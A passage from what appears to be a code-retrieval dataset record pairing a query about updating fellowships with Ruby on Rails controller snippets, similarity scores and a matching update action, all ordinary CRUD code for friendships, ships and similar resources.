@neighbourhood }\n else\n format.html { render :new }\n format.json { render json: @neighbourhood.errors, status: :unprocessable_entity }\n end\n end\n end", "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id)\n end", "def create\n #user = User.find(params[:friend_id])\n #User.invite!(:email => user.email, :first_name => user.first_name)\n @friendship = current_user.friendships.build(:friend_id => params[:friend_id])\n \n respond_to do |format|\n if @friendship.save\n Notification.create(recepient: @friendship.friend, user: current_user, body: \"#{current_user.screen_name } has request to connect \", notificable: @friendship, :accept => false)\n # NotificationMailer.friend_request(@friendship).deliver_later\n \n @suggested_connections, @suggest = suggested_connections\n format.html { redirect_to '/', notice: 'Invitation has been sent successfully' }\n # format.json { render :show, status: :created, location: @friendship }\n format.js\n else\n format.html { render :new }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end \n end", "def friendship_params\n params.require(:friendship).permit(:requester_id, :granter_id, :accepted)\n end", "def new\n #Find the current user and the requested friend\n @user=current_user\n friend=User.find_by_email(params[:email])\n #make sure the friend exists\n if(friend)\n #Check to see if the friendship already exists\n friendCheck=Friendship.find_by_user_id_and_friend_id(@user.id, friend.id)\n if(!friendCheck)\n #If there is no friendship between the two users, continue as normal\n @friendship = @user.friendships.build(:friend_id => friend.id)\n\n respond_to do |format|\n #Do it again for the reverse relationship (a friends with b and b friends with a are two separate relationships)\n if @friendship.save\n @friendship=friend.friendships.build(:friend_id => @user.id)\n if @friendship.save\n #Send an email to the friend so they can confirm that they want to be friends\n UserMailer.confirmation_email(@user,friend).deliver\n format.html { redirect_to @friendship, notice: 'Friendship was successfully created.' }\n format.json { render json: {:created => 'true', :exists => 'true', :friends => 'false'}}\n else\n format.html { render action: \"new\" }\n format.json { render json: {:created => 'false', :friends => 'false', :exists => 'true'}}\n end\n else\n render json: {:created => 'false', :friends => 'false', :exists => 'true'}\n end\n end\n else\n #If the friendship exist, return this fact to the app. It will notify the user.\n render json: {:friends => 'true', :exists => 'true', :created => 'false'}\n end\n else\n #If the user does not exist, let the app know.\n render json: {:friends => 'false', :exists => 'false', :created => 'false'}\n end\n end", "def create\n @user = User.find(current_user.id)\n if @user.internship_authorization\n @internship = Internship.new(params[:internship])\n @internship.user_id = current_user.id if current_user\n @user.internship_authorization = false\n @user.save\n flash[:notice] = \"Internship was successfully created\" if @internship.save\n respond_with(@internship)\n else\n flash[:notice] = \"You cannot create an internship\"\n redirect_to internships_url\n end\n end", "def followship_params\n params.require(:followship).permit(:follower_id, :following_id)\n end", "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id, :status)\n end", "def create\n\n if current_user.friends.include?(params[:friend_id])\n flash[:notice] = \"It's polite to ask once.\"\n else\n\n\n @friendship = current_user.friendships.build(:friend_id => params[:friend_id], approved: \"false\")\n\n if @friendship.save\n\n\n\n log_activity\n\n flash[:notice] = \"Friend requested.\"\n\n\n\n redirect_to :back\n else\n flash[:error] = \"Unable to request friendship.\"\n redirect_to :back\n end\n end\n end", "def create\n @friends = params[:friends] || []\n @hack = Hack.new(params[:hack])\n @hack.sort_rand = Random.rand\n @hack.event_id = @event.id\n\n if [email protected]\n respond_to do |format|\n format.html { render :action => \"new\" }\n format.json { render :json => @hack.errors, :status => :unprocessable_entity }\n end\n return\n end\n\n assoc = HackMembersAssoc.new\n assoc.hack = @hack\n assoc.user = @current_user\n assoc.confirmed = true\n assoc.save!\n @friends.each do |friend_id|\n friend = User.get_or_create_by_fbid(friend_id, @api);\n assoc = HackMembersAssoc.new\n assoc.hack = @hack\n assoc.user = friend\n assoc.confirmed = true\n assoc.save!\n end\n\n respond_to do |format|\n format.html { redirect_to @event, :notices => ['Hack was successfully created.'] }\n format.json { render :json => @hack, :status => :created, :location => [@event, @hack] }\n end\n end", "def create\n @orphan_sponsorship = OrphanSponsorship.new(orphan_sponsorship_params)\n\n respond_to do |format|\n if @orphan_sponsorship.save\n format.html { redirect_to @orphan_sponsorship, notice: 'Orphan sponsorship was successfully created.' }\n format.json { render :show, status: :created, location: @orphan_sponsorship }\n else\n format.html { render :new }\n format.json { render json: @orphan_sponsorship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @guardianship = Guardianship.new(params[:guardianship])\n\n respond_to do |format|\n if @guardianship.save\n format.html { redirect_to @guardianship, notice: 'Guardianship was successfully created.' }\n format.json { render json: @guardianship, status: :created, location: @guardianship }\n else\n format.html { render action: \"new\" }\n format.json { render json: @guardianship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:friendship][:user_id] = current_user.id\n\n friendship_already_exists =\n Friendship.find_by_user_id_and_friend_id(params[:friendship][:user_id], params[:friendship][:friend_id]) ||\n Friendship.find_by_user_id_and_friend_id(params[:friendship][:friend_id], params[:friendship][:user_id])\n if friendship_already_exists\n respond_to do |format|\n flash[:error] = \"Friendship not created (already exists).\"\n format.html { redirect_to new_user_friendship_path(current_user.id) }\n end\n elsif params[:friendship][:friend_id] == params[:friendship][:user_id]\n respond_to do |format|\n flash[:error] = \"You cannot add yourself as a friend.\"\n format.html { redirect_to new_user_friendship_path(current_user.id) }\n end\n else\n @friendship = Friendship.new(params[:friendship])\n # set initial datetime\n @friendship.accepted_at = nil\n if @friendship.message.blank?\n @friendship.message = nil\n end\n\n respond_to do |format|\n if @friendship.save\n \n begin\n friend = @friendship.friend\n Notifier.deliver_friendship_request(friend, @friendship.user.name, @friendship, base_host) if friend.send_notifications?\n rescue Exception => e\n logger.error(\"ERROR: failed to send Friendship Request email notification. Friendship ID: #{@friendship.id}\")\n logger.error(\"EXCEPTION:\" + e)\n end\n \n flash[:notice] = 'Friendship was successfully requested.'\n format.html { redirect_to user_friendship_path(current_user.id, @friendship) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end\n end", "def follow!(new_friend)\n\t\tresponse = access_token.post(\"/friendships/create/#{new_friend}.json\")\n\t\tcase response\n\t\twhen Net::HTTPSuccess\n\t\t\tfriend=JSON.parse(response.body)\n\t\t\traise TwitterOauth::UnexpectedResponse unless friend.is_a? Hash\n\t\t\tfriend\n\t\telse\n\t\t\traise TwitterOauth::APIError\n\t\tend\n\trescue => err\n\t\tputs \"Exception in follow!: #{err}\"\n\t\traise err\n\tend", "def follow\n if request.post?\n fo_ids = params[:follow] \n #fo_str = \"\"\n #fo_cnt = fo_ids.length - 1\n #for i in 0..fo_cnt\n # fo_str +=fo_ids[i].to_s\n # fo_str += \",\" unless fo_cnt == i\n #end\n \n fo_ids.each do |fid|\n hydra = Typhoeus::Hydra.new\n uri = \"http://api.twitter.com/1/friendships/create.json\"\n req = Typhoeus::Request.new(uri,\n :method =>\"post\",\n :params =>{:user_id=>fid, :include_entities=>\"true\"})\n \n sign_request(req,uri)\n hydra.queue(req)\n hydra.run\n #puts req.response.inspect\n end\n end\n redirect_to :action=>\"index\", :page=>\"1\" \n end", "def create\n @shiping = Shiping.new(shiping_params)\n @user = current_user\n\n respond_to do |format|\n if @shiping.save\n format.html { redirect_to @shiping, notice: 'Shiping was successfully created.' }\n format.json { render :show, status: :created, location: @shiping }\n else\n format.html { render :new }\n format.json { render json: @shiping.errors, status: :unprocessable_entity }\n end\n end\n end", "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id, :approved)\n end", "def friendship_params\n params.require(:friendship).permit(:user_id, :friend_id, :approved)\n end", "def follow!(amigo_id)\n self.friendships.create!(friend_id: amigo_id)\n \n end", "def create\n @fleet_ship = FleetShip.new(fleet_ship_params)\n\n respond_to do |format|\n if @fleet_ship.save\n format.html { redirect_to @fleet_ship, notice: 'Fleet ship was successfully created.' }\n format.json { render :show, status: :created, location: @fleet_ship }\n else\n format.html { render :new }\n format.json { render json: @fleet_ship.errors, status: :unprocessable_entity }\n end\n end\n end", "def all_followships\n followships = User.find(params[:user_id]).followships\n render :json => followships\n end", "def create\n @neighborhood = Neighborhood.new(params[:neighborhood])\n\n respond_to do |format|\n if @neighborhood.save\n format.html { redirect_to @neighborhood, notice: 'Neighborhood was successfully created.' }\n format.json { render json: @neighborhood, status: :created, location: @neighborhood }\n else\n format.html { render action: \"new\" }\n format.json { render json: @neighborhood.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @neighborhood = Neighborhood.new(params[:neighborhood])\n\n respond_to do |format|\n if @neighborhood.save\n format.html { redirect_to @neighborhood, notice: 'Neighborhood was successfully created.' }\n format.json { render json: @neighborhood, status: :created, location: @neighborhood }\n else\n format.html { render action: \"new\" }\n format.json { render json: @neighborhood.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_shippment(items)\n fill_boxes(items)\n shippment_object\n make_json_object\n end", "def followship_params\r\n params.fetch(:followship, {})\r\n params.require(:followship).permit(:follower_id, :following_id)\r\n end", "def create\n @ship = Ship.new(params[:ship])\n respond_to do |format|\n if @ship.save\n format.html { redirect_to @ship, notice: 'Ship was successfully created.' }\n format.json { render json: @ship, status: :created, location: @ship }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ship.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @followships = Follower.all\n render json: @followships\n end", "def update\n\n respond_to do |format|\n if @friendship.update(params.permit(:id, :accepted))\n # now build a friendship in the opposite direction\n @other_friendship = current_person.friendships.build(:granter_id => @friendship.requester_id, :accepted => true)\n @other_friendship.save\n\n format.html { redirect_to people_url, notice: 'You and ' + Person.find(@friendship.requester_id).name + ' are now friends!' }\n format.json { render :show, status: :ok, location: @friendship }\n else\n format.html { render :edit }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def followship_params\n params.require(:followship).permit(:user_id, :followable_type, :followable_id)\n end", "def create\n @games_leaderboard = Games::Leaderboard.new(games_leaderboard_params)\n\n if @games_leaderboard.save\n render json: @games_leaderboard, status: :created, location: @games_leaderboard\n else\n render json: @games_leaderboard.errors, status: :unprocessable_entity\n end\n end", "def update\n if params[:status] == \"accepted\"\n @friendship = current_user.friendships.build(:friend_id => params[:friend_id], :status => 'accepted')\n friend = User.find(params[:friend_id])\n @friendship2 = friend.friendships.build(:friend_id => params[:user_id], :status => 'accepted')\n\n respond_to do |format|\n if @friendship.save\n format.html { redirect_to @friendship, notice: 'Your Connection Request has been sent' }\n format.json { render action: 'show', status: :created, location: @friendship }\n else\n format.html { render action: 'new' }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n if @friendship2.save\n format.html { redirect_to @friendship2, notice: 'You received a friendship invitation' }\n format.json { render action: 'show', status: :created, location: @friendship2 }\n else\n format.html { render action: 'new' }\n format.json { render json: @friendship2.errors, status: :unprocessable_entity }\n end\n end\n end\n\n end", "def create\n @nightclub = Nightclub.new(nightclub_params)\n\n respond_to do |format|\n if @nightclub.save\n format.html { redirect_to @nightclub, notice: 'Nightclub was successfully created.' }\n format.json { render action: 'show', status: :created, location: @nightclub }\n else\n format.html { render action: 'new' }\n format.json { render json: @nightclub.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ship = Ship.new(params[:ship])\n @ship.game_id = @game.id\n @ship.health = @ship.ship_type.length\n @ship.vertical = true\n @ship.player_id = @player.id\n\n respond_to do |format|\n if @ship.save\n format.html { redirect_to [@game, @ship], notice: 'Ship was successfully created.' }\n format.json { render json: @ship, status: :created, location: @ship }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ship.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n @ship = current_user.create_ship(ship_params)\n \n\n respond_to do |format|\n if @ship!=nil\n current_user.activeShip = @ship.id\n if @ship.save\n format.html { redirect_to @ship, notice: 'Ship was successfully created.' }\n format.json { render :show, status: :created, location: @ship }\n else\n format.html { render :new }\n format.json { render json: @ship.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to ships_path, notice: 'Kauf nicht erfolgreich!' }\n \n end\n end\n end", "def create\n #@fighter = Fighter.new(fighter_params)\n \n # create fighter under the curent users fighters - we may want to undo this\n # for the future so they we can display a list of all the fighters\n @fighter = current_user.fighters.build(fighter_params)\n\n\n respond_to do |format|\n if @fighter.save\n format.html { redirect_to @fighter, notice: \"Fighter was successfully created.\" }\n format.json { render :show, status: :created, location: @fighter }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @fighter.errors, status: :unprocessable_entity }\n end\n end\n end", "def add\n params[:friends].each do |email|\n friend = User.find_by_email(email)\n next unless friend.present?\n\n # Check the inverse friendship and add if necessary\n friendship = Friendship.find_by_user_id_and_friend_id(friend.id, current_user.id)\n unless friendship.present?\n inverse_friendship = friend.friendships.build(friend_id: current_user.id)\n if inverse_friendship.save\n puts \"Added friendship for #{friend.name} (#{friend.id}) and #{current_user.name} (#{current_user.id})\"\n end\n end\n end\n\n render json: { success: true }\n end", "def create\n @nightclub = Nightclub.new(params[:nightclub])\n\n respond_to do |format|\n if @nightclub.save\n format.html { redirect_to @nightclub, notice: 'Nightclub was successfully created.' }\n format.json { render json: @nightclub, status: :created, location: @nightclub }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nightclub.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @relationshipneighbor = Relationshipneighbor.new(relationshipneighbor_params)\n\n respond_to do |format|\n if @relationshipneighbor.save\n format.html { redirect_to @relationshipneighbor, notice: 'Relationshipneighbor was successfully created.' }\n format.json { render :show, status: :created, location: @relationshipneighbor }\n else\n format.html { render :new }\n format.json { render json: @relationshipneighbor.errors, status: :unprocessable_entity }\n end\n end\n end", "def createShips\n for ship in Ship.find(:all, :order => \"id\")\n self.my_ships.build(ship_id: ship.id)\n self.enemy_ships.build(ship_id: ship.id)\n end\n self.save\n end" ]
[ "0.6730782", "0.66602993", "0.64368373", "0.6300739", "0.629646", "0.62136364", "0.61378735", "0.61314875", "0.6091154", "0.6081026", "0.6061243", "0.60283875", "0.6027313", "0.6020404", "0.5962556", "0.5914881", "0.58770686", "0.5870517", "0.5863505", "0.5857794", "0.58503133", "0.5833519", "0.5831154", "0.58291614", "0.58243537", "0.5822459", "0.58130026", "0.5804146", "0.57846487", "0.57773554", "0.57633907", "0.5750779", "0.5750779", "0.5750779", "0.5750779", "0.5749015", "0.5746805", "0.5730772", "0.5724895", "0.5723682", "0.572337", "0.5717287", "0.570417", "0.57032377", "0.56910163", "0.56848", "0.56494975", "0.56461567", "0.56403047", "0.56341314", "0.5614795", "0.561052", "0.56088084", "0.5597708", "0.55880064", "0.558057", "0.55794954", "0.5573704", "0.5563424", "0.5545339", "0.554003", "0.5521249", "0.5520575", "0.54976064", "0.54966635", "0.5488352", "0.5481747", "0.5473117", "0.5468296", "0.5466161", "0.54648256", "0.54283273", "0.5414755", "0.54128546", "0.540231", "0.5401031", "0.5398799", "0.53980595", "0.53980595", "0.5396837", "0.53952116", "0.5388114", "0.53866696", "0.53866696", "0.5384892", "0.53799206", "0.5372045", "0.53672326", "0.5355027", "0.533911", "0.53368735", "0.53277093", "0.53232116", "0.53223157", "0.53180176", "0.5316805", "0.5309882", "0.5307842", "0.52970207", "0.52938026" ]
0.7283734
0
PATCH/PUT /fellowships/1 PATCH/PUT /fellowships/1.json
def update respond_to do |format| if @fellowship.update(fellowship_params) format.html { redirect_to @fellowship, notice: 'Fellowship was successfully updated.' } format.json { render :show, status: :ok, location: @fellowship } else format.html { render :edit } format.json { render json: @fellowship.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @friendship = @user.friendships.find(params[:id])\n\n respond_to do |format|\n if @friendship.update_attributes(params[:friendship])\n format.html { redirect_to [@game, @user, @friendship], notice: 'Friendship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def friendships_update(options = {})\n @req.post(\"/1.1/friendships/update.json\", options)\n end", "def update\n respond_to do |format|\n if @friendship.update(friendship_params)\n format.html { redirect_to @friendship, notice: 'Friendship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @friendship.update(params.permit(:id, :accepted))\n # now build a friendship in the opposite direction\n @other_friendship = current_person.friendships.build(:granter_id => @friendship.requester_id, :accepted => true)\n @other_friendship.save\n\n format.html { redirect_to people_url, notice: 'You and ' + Person.find(@friendship.requester_id).name + ' are now friends!' }\n format.json { render :show, status: :ok, location: @friendship }\n else\n format.html { render :edit }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @friendship.update(friendship_params)\n format.html { redirect_to @friendship, notice: 'friendship was successfully updated.' }\n format.json { render :show, status: :ok, location: @friendship }\n else\n format.html { render :edit }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @friendship = Friendship.find(params[:id])\n\n respond_to do |format|\n if @friendship.update_attributes(params[:friendship])\n format.html { redirect_to @friendship, notice: 'Friendship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @friendship = Friendship.find(params[:id])\n\n respond_to do |format|\n if @friendship.update_attributes(params[:friendship])\n format.html { redirect_to @friendship, notice: 'Friendship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n friendship_new = Friendship.new\n friendship_new.user1_id = @friendship.user2_id\n friendship_new.user2_id = @friendship.user1_id\n friendship_new.approved = true\n friendship_new.save!\n @friendship.approved = true\n respond_to do |format|\n if @friendship.save\n format.html { redirect_to back_page, flash: { :success => 'Friendship was approved.' } }\n format.json { render :index, status: :ok, location: @friendship }\n else\n set_index_friendships\n format.html { render :index }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @clientship = current_user.clientships.find(params[:id])\n\n respond_to do |format|\n if @clientship.update_attributes(params[:clientship])\n format.html { redirect_to @clientship, notice: 'Clientship was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clientship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @friendship.update(friendship_params)\n format.html { redirect_to @friendship, notice: 'Friendship was successfully updated.' }\n format.json { render :show, status: :ok, location: @friendship }\n else\n format.html { render :edit }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @friendship.update(friendship_params)\n format.html { redirect_to @friendship, notice: 'Friendship was successfully updated.' }\n format.json { render :show, status: :ok, location: @friendship }\n else\n format.html { render :edit }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_fellowship\n @fellowship = Fellowship.find(params[:id])\n end", "def update\n respond_to do |format|\n if @followship.update(followship_params)\n format.html { redirect_to @followship, notice: 'Followship was successfully updated.' }\n format.json { render :show, status: :ok, location: @followship }\n else\n format.html { render :edit }\n format.json { render json: @followship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @championship = Championship.find(params[:id])\n\n if @championship.update(championship_params.merge(user: current_user))\n head :no_content\n else\n render json: @championship.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @friendship.update(friendship_params)\n format.html { redirect_to @friendship, notice: \"Friend request accepted!\" }\n format.json { render :show, status: :ok, location: @friendship }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #Finding the specific chore where the id matches the one we pass in with the body\n @v1_chore = Chore.where(id: params[:id]).first\n #Here we're checking if we have user_id in our body, and if we do, we'll change the selected chore's properties\n #with the parameters of the body, we go through the specific group to our specific chore with the path\n if v1_chore_params[:user_id]\n @v1_chore.user_id = params[:user_id]\n @v1_chore.assigned = true\n if @v1_chore.save\n render :show, status: :ok\n end\n else\n render json: @v1_chore.errors, status: :unprocessable_entity\n end\n end", "def update\n @golfer = Golfer.find(params[:id])\n\n respond_to do |format|\n if @golfer.update_attributes(params[:golfer])\n format.html { redirect_to @golfer, notice: 'Golfer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @golfer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n respond_to do |format|\r\n if @followship.update(followship_params)\r\n format.html { redirect_to @followship, notice: 'Followship was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @followship }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @followship.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @fostered.update(fostered_params)\n format.html { redirect_to @fostered, notice: 'Fostered was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fostered.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @friendship = Friendship.find(params[:id])\n (@friendship.is_confirmed? || @friendship.proposer == current_user) ? (friend_notice = \"Friendship was successfully updated\") : (friend_notice = \"You accepted the friend request\")\n @friendship.confirmed = true unless @friendship.proposer == current_user\n @incoming_friend_requests = Friendship.where({\n proposee_id: current_user.id,\n confirmed: nil\n })\n respond_to do |format|\n if @friendship.update_attributes(params[:friendship])\n @grouped_friends = current_user.grouped_friends\n format.html { redirect_to @friendship, notice: friend_notice}\n format.json { head :no_content }\n format.js {}\n else\n @grouped_friends = current_user.grouped_friends\n format.html { render action: \"edit\" }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @spoofer = Spoofer.find(params[:id])\n\n respond_to do |format|\n if @spoofer.update_attributes(params[:spoofer])\n format.html { redirect_to @spoofer, notice: 'Spoofer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spoofer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @championship.update(championship_params)\n render :show, status: :ok, location: @championship\n else\n render json: @championship.errors, status: :unprocessable_entity\n end\n end", "def update\n @internships_user = InternshipsUser.find(params[:id])\n\n respond_to do |format|\n if @internships_user.update_attributes(params[:internships_user])\n format.html { redirect_to @internships_user, :notice => 'Internships user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @internships_user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @fucker = Fucker.find(params[:id])\n\n respond_to do |format|\n if @fucker.update_attributes(params[:fucker])\n format.json { head :no_content }\n else\n format.json { render json: @fucker.errors, status: :internal_server_error }\n end\n end\n end", "def update\n render json: UserBoards.update(params[\"id\"], params[\"user_board\"])\n end", "def update\n respond_to do |format|\n if @request_friendship.update(request_friendship_params)\n format.html { redirect_to @request_friendship, notice: 'La solicitud de amistad se ha actualizado correctamente.' }\n format.json { render :show, status: :ok, location: @request_friendship }\n else\n format.html { render :edit }\n format.json { render json: @request_friendship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @shipfleet.update(shipfleet_params)\n format.html { redirect_to @shipfleet, notice: 'Shipfleet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @shipfleet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @food.update(food_params)\n respond_with @food, location: -> { kitchen_board_path }\n end", "def update\n @friendship = Friendship.find(params[:id])\n\n if (params[:ignore])\n @friendship.ignore = params[:ignore] == \"true\"\n end\n\n respond_to do |format|\n if @friendship.update_attributes(params[:friendship])\n format.html { render @friendship }\n format.json { render json: { success: true } }\n else\n format.html { render action: \"index\" }\n format.json { render json: @friendship.errors, \n status: :unprocessable_entity }\n end\n end\n end", "def update\n @friendship = Friendship.find(params[:id])\n\n respond_to do |format|\n if @friendship.update_attributes(params[:friendship])\n format.html { redirect_to(@friendship, :notice => 'Friendship was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @friendship.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'FOAF was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @fridge = Fridge.find(params[:id])\n\n respond_to do |format|\n if @fridge.update_attributes(params[:fridge])\n format.html { redirect_to @fridge, notice: 'Fridge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fridge.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'Foaf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if params[:status] == \"accepted\"\n @friendship = current_user.friendships.build(:friend_id => params[:friend_id], :status => 'accepted')\n friend = User.find(params[:friend_id])\n @friendship2 = friend.friendships.build(:friend_id => params[:user_id], :status => 'accepted')\n\n respond_to do |format|\n if @friendship.save\n format.html { redirect_to @friendship, notice: 'Your Connection Request has been sent' }\n format.json { render action: 'show', status: :created, location: @friendship }\n else\n format.html { render action: 'new' }\n format.json { render json: @friendship.errors, status: :unprocessable_entity }\n end\n if @friendship2.save\n format.html { redirect_to @friendship2, notice: 'You received a friendship invitation' }\n format.json { render action: 'show', status: :created, location: @friendship2 }\n else\n format.html { render action: 'new' }\n format.json { render json: @friendship2.errors, status: :unprocessable_entity }\n end\n end\n end\n\n end", "def update\n @internship = Internship.find(params[:id])\n\n respond_to do |format|\n if @internship.update_attributes(params[:internship])\n format.html { redirect_to @internship, notice: 'Internship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @internship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @internship = Internship.find(params[:id])\n\n respond_to do |format|\n if @internship.update_attributes(params[:internship])\n format.html { redirect_to @internship, notice: 'Internship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @internship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @thirtyfife.update(thirtyfife_params)\n format.html { redirect_to @thirtyfife, notice: 'Thirtyfive was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @thirtyfife.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n relationship = Relationships.find(params[:id])\n if relationship.update(relationship_params)\n render json: relationship, status: 200\n else\n render json: { errors: relationship.errors }, status: 422\n end\n end", "def update\n @ship = Ship.find(params[:id])\n\n respond_to do |format|\n if @ship.update_attributes(params[:ship])\n format.html { redirect_to @ship, notice: 'Ship was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ship = Ship.find(params[:id])\n\n respond_to do |format|\n if @ship.update_attributes(params[:ship])\n format.html { redirect_to @ship, notice: 'Ship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end", "def update\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n\n respond_to do |format|\n if @status.update_attributes(params[:roof_status])\n format.html { redirect_to @roof, notice: 'Status was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @status.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @fleet_ship.update(fleet_ship_params)\n format.html { redirect_to @fleet_ship, notice: 'Fleet ship was successfully updated.' }\n format.json { render :show, status: :ok, location: @fleet_ship }\n else\n format.html { render :edit }\n format.json { render json: @fleet_ship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @rooster = Rooster.find(params[:id])\n\n respond_to do |format|\n if @rooster.update_attributes(params[:rooster])\n format.html { redirect_to @rooster, notice: 'Rooster was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @rooster.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @hood.update(hood_params)\n format.html { redirect_to @hood, notice: 'Hood was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @hood.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ship.update(ship_params)\n format.html { redirect_to @ship, notice: 'Ship was successfully updated.' }\n format.json { render :show, status: :ok, location: @ship }\n else\n format.html { render :edit }\n format.json { render json: @ship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @person.seat\n render json: {errors: 'Cannot update a seated person'}, status: 422\n 